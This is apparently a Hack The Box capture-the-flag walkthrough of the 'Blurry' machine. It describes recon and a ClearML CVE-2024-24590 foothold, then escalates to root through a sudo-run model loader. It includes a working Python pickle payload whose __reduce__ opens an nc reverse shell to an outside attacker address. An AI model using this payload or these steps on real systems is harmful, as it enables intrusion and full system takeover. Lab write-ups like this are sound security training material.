Blurry
A complete walkthrough of the "Blurry" machine from Hack The Box, detailing the path from exploiting CVEs in ClearML related to machine learning to injecting a malicious model and full system compromise.
Blurry - Walkthrough
Starting with a basic NMAP scan, we found ports 22 and 80 were open. I tailored the scan to get more information on these services.
Reconnaissance
nmap -sVC -Pn -n --disable-arp-ping -p22,80 -oA _sVC 10.10.11.19
Nmap Scan Results:
Nmap scan report for 10.10.11.19
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to [http://app.blurry.htb/](http://app.blurry.htb/)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The Nmap output shows a redirect to http://app.blurry.htb/
. After adding app.blurry.htb
to /etc/hosts
, I navigated to the site and discovered a ClearML instance, version 1.13.
Foothold
To interact with the ClearML API, I followed the setup instructions.
pip install clearml
cd .bin/
./clearml-init
When prompted, I pasted the API parameters from the web application.
A search for vulnerabilities related to ClearML v1.13 led to CVE-2024-24590, a Remote Code Execution vulnerability. I set up a listener and used an available exploit to gain an initial shell.
I found this to be the easiest one to use: CVE-2024-24590-ClearML-RCE-Exploit
Set up a listener on a tab and run the PoC on the other:
During enumeration on the target system, I found a .ssh
folder containing an RSA key. I transferred this key to my local machine and used it to SSH into the machine as the user jippity.
Privilege Escalation
After logging in via SSH, I checked for sudo permissions to escalate to root.
sudo -l
The output indicated that we can run a Python script in the /models/
directory with sudo
and NOPASSWD
. We also confirmed that we have write permissions in that directory.
$ ls -la /models
total 1068
drwxrwxr-x 2 root jippity 4096 Sep 14 07:06 .
drwxr-xr-x 19 root root 4096 Jun 3 09:28 ..
-rw-r--r-- 1 root root 1077880 May 30 04:39 demo_model.pth
-rw-r--r-- 1 root root 2547 May 30 04:38 evaluate_model.py
I analyzed the evaluate_model.py
script and identified a potential vulnerability in how it uses PyTorch. The script likely uses torch.load()
, which is backed by Python's pickle
module. Pickle is known to be insecure against maliciously crafted data. By creating a custom class with a __reduce__
method, we can trigger arbitrary command execution during deserialization.
According to the Pickle documentation:
The
__reduce__()
method takes no argument and shall return either a string or preferably a tuple... When a tuple is returned, it must be between two and six items long... The semantics of each item are in order:
- A callable object that will be called to create the initial version of the object.
- A tuple of arguments for the callable object.
This is the payload I created to exploit this behavior and gain a reverse shell:
import pickle
import os
import torch
class PVE:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
'/bin/sh -i 2>&1 | nc 10.10.16.2 6666 > /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
evil = PVE()
torch.save(evil, 'evil.pth')
I ran the payload script (python3 pickled.py
) to create evil.pth
, moved it to the /models
directory on the target machine, and started a listener on my local machine. Finally, I executed the following command on the target host:
sudo /usr/bin/evaluate_model /models/evil.pth
Voila! :) We are r00t.